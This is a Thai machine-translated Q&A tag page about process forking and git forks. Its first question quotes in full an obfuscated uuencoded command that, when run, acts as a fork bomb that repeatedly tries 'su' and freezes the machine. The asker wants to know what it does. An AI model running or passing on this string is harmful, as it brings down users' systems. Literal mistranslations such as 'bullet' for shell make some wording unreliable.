คำถามติดแท็ก forking

3
ทำไมข้อความนี้ถึงแยกเป็นส้อม?
พบได้ใน chan board แบบสุ่ม: echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode การดำเนินการนี้จะส่งผลให้เกิดกระบวนการวางไข่อย่างไม่มีที่สิ้นสุดซึ่งอาละวาดและบดขยี้เครื่องให้หยุดชะงัก ฉันเห็นบางอย่างเกี่ยวกับ "su" พยายามที่จะถูกประหารชีวิตหลายครั้ง .. ซึ่งแปลกเพราะฉันแค่คาดหวังว่าข้อความจะออกไม่ดำเนินการอะไร การเรียกใช้ข้อความนี้ผ่านตัวถอดรหัสออนไลน์จะให้ไบนารีของ spew เป็นชุด: ความยุ่งเหยิงของข้อความนี้เกิดขึ้นจริงและมีวิธี "ดู" อย่างปลอดภัยหรือไม่?

3
ฉันจะซิงค์ทางแยกจากต้นฉบับได้อย่างไร
ฉันเพิ่งแยกโครงการใน Github ฉันทำการแก้ไขและส่งคำขอการดึง เจ้าของรวมส้อมของฉันเข้ากับโครงการหลักและหลังจากนั้นเขาทำการแก้ไขบางอย่าง ดังนั้นสำหรับตอนนี้ทางแยกของฉันไม่ได้รับการปรับปรุงด้วยโครงการหลัก ฉันพลาดการแก้ไขที่เขาทำหลังจากรวมคำขอดึงของฉัน ฉันจะอัปเดตทางแยกด้วยโครงการหลักได้อย่างไร มีวิธีการทำเช่นนั้นในเว็บอินเตอร์เฟสหรือไม่? ขอบคุณ
33 git  merge  github  forking 

3
ฉันจะแยกกระบวนการที่ไม่ตายเมื่อเชลล์ออกได้อย่างไร
ถ้าฉันใช้ emacs จากเปลือก: $ emacs foo & แล้วฆ่าเปลือกหอยนั้น emacs ก็ตาย ฉันจะรันคำสั่งเพื่อที่จะไม่ตายเมื่อเชลล์ตายได้อย่างไร ฉันพบการอ้างอิงถึง nohup แต่ดูเหมือนจะไม่ช่วย: $ nohup emacs foo & ยังคงฆ่า emacs เมื่อกระสุนตาย

3
เปรียบเทียบ NetBSD, OpenBSD, * BSD และ FreeBSD
ฉันจำได้ว่าอ่านการเปรียบเทียบของ NetBSD และ FreeBSD เมื่อไม่กี่ปีก่อนและในปี 2000 (ตกลงมาก) ดูเหมือนว่ากระบวนการแยก NetBSD จะดีขึ้นในขณะที่ FreeBSD เธรดดีขึ้นและดังนั้นสำหรับ Apache 1 NetBSD ดูดีขึ้นเล็กน้อย ตั้งแต่นั้นมาดูเหมือนว่า FreeBSD จะสนับสนุน SMP ก่อน แต่จากนั้น NetBSD ก็อ้างว่าให้การสนับสนุนที่ดีกว่าจนกระทั่ง FreeBSD ดีขึ้นอีกครั้ง อื่น ๆ นอกจากนี้ฉันเองพบว่าแม้ว่าผู้คนจะบอกว่า FreeBSD รองรับฮาร์ดแวร์พีซีมาตรฐานดีกว่าแต่ทว่า NetBSD มีการสนับสนุนอุปกรณ์ที่กว้างขึ้นในคราวเดียวและมีตัวเลือกเพิ่มเติมสำหรับการ์ด PCI ประเภทโคลนชนิดต่างๆเช่น BT848s หรือ Tulip Ethernet Clones เป็นต้น มีใครเห็นการเปรียบเทียบที่อัปเดตหรือไม่ ฉันไม่ได้พูดถึงผู้ใช้ที่เดินผ่านสิ่งที่ระบบเดสก์ท็อป X เป็นค่าเริ่มต้น ฯลฯ ฉันกำลังพูดถึงจุดพูดคุยด้วยกราฟและแผนภูมิเกี่ยวกับสิ่งที่เกิดขึ้นกับเวลาแฝงหรือการใช้หน่วยความจำหรือความเร็วเมื่อคุณแยกกระบวนการ 1mb N ครั้ง …

0
จะรับรหัสทางออกของกระบวนการย่อยได้อย่างไร
ดังนั้นฉันมีกระบวนการ B โดยทั่วไปแล้วกระบวนการ B จะถูกเรียกใช้และทำงานโดยสิ้นเชิงกับบริบทของกระบวนการ A แต่ด้วยเหตุผลบางอย่างกระบวนการ B หยุดทำงานอย่างถูกต้องเมื่อถูกเรียกโดย A แต่มันทำงานได้อย่างสมบูรณ์เมื่อเรียกโดยตรงจาก บรรทัดคำสั่ง. ฉันไม่สามารถเข้าถึงแหล่งที่มาสำหรับกระบวนการ A โชคไม่ดี - มีวิธีใดบ้างที่ฉันจะรับรหัสออกจากกระบวนการ B ในขณะที่กำลังเรียกใช้โดยกระบวนการ A ฉันใช้ windows 10 - มีบางอย่างในตระกูลเดียวกับ ProcMon หรือไม่?
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.